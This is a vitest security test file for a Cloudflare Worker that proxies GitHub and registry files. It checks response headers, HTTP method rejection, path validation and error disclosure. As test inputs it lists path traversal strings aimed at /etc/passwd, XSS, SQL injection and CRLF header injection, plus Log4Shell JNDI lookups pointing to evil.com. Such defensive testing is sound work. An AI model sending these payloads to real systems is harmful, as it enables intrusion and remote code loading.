Refactored the main request handler in src/index.js for improved readability and error handling. Enhanced Docker request detection in validation.js to include additional Content-Type checks. Updated tests to increase timeouts and expand expected status codes for container registry platforms.
286 lines
9.8 KiB
JavaScript
286 lines
9.8 KiB
JavaScript
import { SELF } from 'cloudflare:test';
|
|
import { describe, expect, it } from 'vitest';
|
|
|
|
describe('Security Features', () => {
|
|
describe('Security Headers', () => {
|
|
it('should include Strict-Transport-Security header', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
|
|
|
const hsts = response.headers.get('Strict-Transport-Security');
|
|
expect(hsts).toBeTruthy();
|
|
expect(hsts).toContain('max-age=');
|
|
expect(hsts).toContain('includeSubDomains');
|
|
expect(hsts).toContain('preload');
|
|
});
|
|
|
|
it('should include X-Frame-Options header', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
|
|
|
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
|
});
|
|
|
|
it('should include X-XSS-Protection header', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
|
|
|
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
|
});
|
|
|
|
it('should include Content-Security-Policy header', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
|
|
|
const csp = response.headers.get('Content-Security-Policy');
|
|
expect(csp).toBeTruthy();
|
|
expect(csp).toContain("default-src 'none'");
|
|
});
|
|
|
|
it('should include Referrer-Policy header', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
|
|
|
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
|
});
|
|
|
|
it('should include Permissions-Policy header', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
|
|
|
const permissionsPolicy = response.headers.get('Permissions-Policy');
|
|
expect(permissionsPolicy).toBeTruthy();
|
|
expect(permissionsPolicy).toContain('interest-cohort=()');
|
|
});
|
|
});
|
|
|
|
describe('HTTP Method Restrictions', () => {
|
|
it('should reject PATCH method', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
|
method: 'PATCH'
|
|
});
|
|
|
|
expect(response.status).toBe(405);
|
|
});
|
|
|
|
it('should reject PUT method for non-Git requests', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
|
method: 'PUT'
|
|
});
|
|
|
|
expect(response.status).toBe(405);
|
|
});
|
|
|
|
it('should reject DELETE method', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
|
method: 'DELETE'
|
|
});
|
|
|
|
expect(response.status).toBe(405);
|
|
});
|
|
|
|
it('should reject OPTIONS method', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
|
method: 'OPTIONS'
|
|
});
|
|
|
|
expect(response.status).toBe(405);
|
|
});
|
|
});
|
|
|
|
describe('Path Validation', () => {
|
|
it('should reject paths with directory traversal attempts', async () => {
|
|
const maliciousPaths = [
|
|
'/gh/../../../etc/passwd',
|
|
'/gh/user/repo/../../../sensitive',
|
|
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
|
|
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
|
];
|
|
|
|
for (const path of maliciousPaths) {
|
|
const response = await SELF.fetch(`https://example.com${path}`, {
|
|
redirect: 'manual' // Don't follow redirects
|
|
});
|
|
// Should either reject with 400, redirect (302/301), or safely handle the path
|
|
expect([400, 404, 500, 302, 301]).toContain(response.status);
|
|
}
|
|
});
|
|
|
|
it('should reject extremely long paths', async () => {
|
|
const longPath = `/gh/${'a'.repeat(3000)}`;
|
|
const response = await SELF.fetch(`https://example.com${longPath}`);
|
|
|
|
expect(response.status).toBe(414);
|
|
});
|
|
|
|
it('should handle URL encoding safely', async () => {
|
|
const encodedPaths = [
|
|
'/gh/user/repo%20with%20spaces',
|
|
'/gh/user/repo%2Ffile.txt',
|
|
'/gh/user%40domain/repo'
|
|
];
|
|
|
|
for (const path of encodedPaths) {
|
|
const response = await SELF.fetch(`https://example.com${path}`);
|
|
// Should handle encoded paths without security issues
|
|
expect(response.status).not.toBe(500);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('Input Sanitization', () => {
|
|
it('should handle special characters in paths', async () => {
|
|
const specialPaths = [
|
|
'/gh/user/repo<script>alert(1)</script>',
|
|
"/gh/user/repo'; DROP TABLE users; --",
|
|
'/gh/user/repo${jndi:ldap://evil.com}',
|
|
'/gh/user/repo{{7*7}}'
|
|
];
|
|
|
|
for (const path of specialPaths) {
|
|
const response = await SELF.fetch(`https://example.com${path}`);
|
|
// Should safely handle special characters
|
|
expect(response.status).not.toBe(500);
|
|
}
|
|
});
|
|
|
|
it('should handle Unicode characters safely', async () => {
|
|
const unicodePaths = [
|
|
'/gh/所有者/存储库/文件.txt',
|
|
'/gh/user/repo/файл.txt',
|
|
'/gh/user/repo/ファイル.txt'
|
|
];
|
|
|
|
for (const path of unicodePaths) {
|
|
const response = await SELF.fetch(`https://example.com${path}`);
|
|
// Should handle Unicode without issues
|
|
expect(response.status).not.toBe(500);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('Request Header Validation', () => {
|
|
it('should handle malicious User-Agent headers', async () => {
|
|
const maliciousUserAgents = [
|
|
'<script>alert(1)</script>',
|
|
'Mozilla/5.0 ${jndi:ldap://evil.com}'
|
|
];
|
|
|
|
for (const userAgent of maliciousUserAgents) {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
|
headers: {
|
|
'User-Agent': userAgent
|
|
}
|
|
});
|
|
|
|
// Should handle malicious user agents safely
|
|
expect(response.status).not.toBe(500);
|
|
}
|
|
});
|
|
|
|
it('should handle header injection attempts', async () => {
|
|
// Headers with CRLF injection should be rejected by the runtime
|
|
try {
|
|
await SELF.fetch('https://example.com/gh/test/repo', {
|
|
headers: {
|
|
'X-Test': 'value\r\nX-Injected: malicious'
|
|
}
|
|
});
|
|
// If it doesn't throw, it should not be a server error
|
|
} catch (error) {
|
|
// Expected to throw TypeError for invalid header value
|
|
expect(error.message).toMatch(/[Ii]nvalid|[Hh]eader/);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('Rate Limiting and DoS Protection', () => {
|
|
it('should handle concurrent requests gracefully', async () => {
|
|
const requests = Array(10)
|
|
.fill(null)
|
|
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
|
|
|
|
const responses = await Promise.all(requests);
|
|
|
|
// All requests should be handled without errors
|
|
responses.forEach((/** @type {Response} */ response) => {
|
|
expect(response.status).not.toBe(500);
|
|
});
|
|
});
|
|
|
|
it('should timeout long-running requests', async () => {
|
|
// This test would need to be implemented based on actual timeout behavior
|
|
// For now, we just verify the request doesn't hang indefinitely
|
|
const startTime = Date.now();
|
|
|
|
try {
|
|
await SELF.fetch('https://example.com/gh/test/very-large-file', {
|
|
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
|
|
});
|
|
} catch {
|
|
// Request should timeout or complete within reasonable time
|
|
const elapsed = Date.now() - startTime;
|
|
expect(elapsed).toBeLessThan(40000); // 40 seconds max
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('Error Information Disclosure', () => {
|
|
it('should not expose internal error details', async () => {
|
|
const response = await SELF.fetch('https://example.com/invalid-platform/test', {
|
|
redirect: 'manual' // Don't follow redirects
|
|
});
|
|
|
|
// Should return error or redirect
|
|
expect([400, 404, 302, 301]).toContain(response.status);
|
|
|
|
if (response.status >= 400) {
|
|
const body = await response.text();
|
|
// Should not expose internal paths, stack traces, or sensitive info
|
|
expect(body).not.toMatch(/\/[a-zA-Z]:[\\/]/); // Windows paths
|
|
expect(body).not.toMatch(/\/home\/[^/]+/); // Unix home paths
|
|
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
|
|
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
|
|
}
|
|
});
|
|
|
|
it('should provide generic error messages', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
|
method: 'TRACE',
|
|
redirect: 'manual'
|
|
});
|
|
|
|
// Should return error or redirect
|
|
expect([400, 404, 302, 301, 405, 501]).toContain(response.status);
|
|
});
|
|
});
|
|
|
|
describe('CORS Security', () => {
|
|
it('should handle CORS preflight requests securely', async () => {
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
|
method: 'OPTIONS',
|
|
headers: {
|
|
Origin: 'https://evil.com',
|
|
'Access-Control-Request-Method': 'GET',
|
|
'Access-Control-Request-Headers': 'X-Custom-Header'
|
|
}
|
|
});
|
|
|
|
// Should either reject OPTIONS or handle CORS securely
|
|
if (response.status === 200) {
|
|
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
|
|
// Should not blindly allow all origins for sensitive operations
|
|
expect(allowOrigin).not.toBe('https://evil.com');
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('Content Type Security', () => {
|
|
it('should not execute uploaded content', async () => {
|
|
// Test that the service doesn't execute or interpret uploaded content
|
|
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
|
|
|
|
// Should serve content with appropriate headers, not execute it
|
|
const contentType = response.headers.get('Content-Type');
|
|
if (contentType) {
|
|
expect(contentType).not.toContain('text/html');
|
|
expect(contentType).not.toContain('application/javascript');
|
|
}
|
|
});
|
|
});
|
|
});
|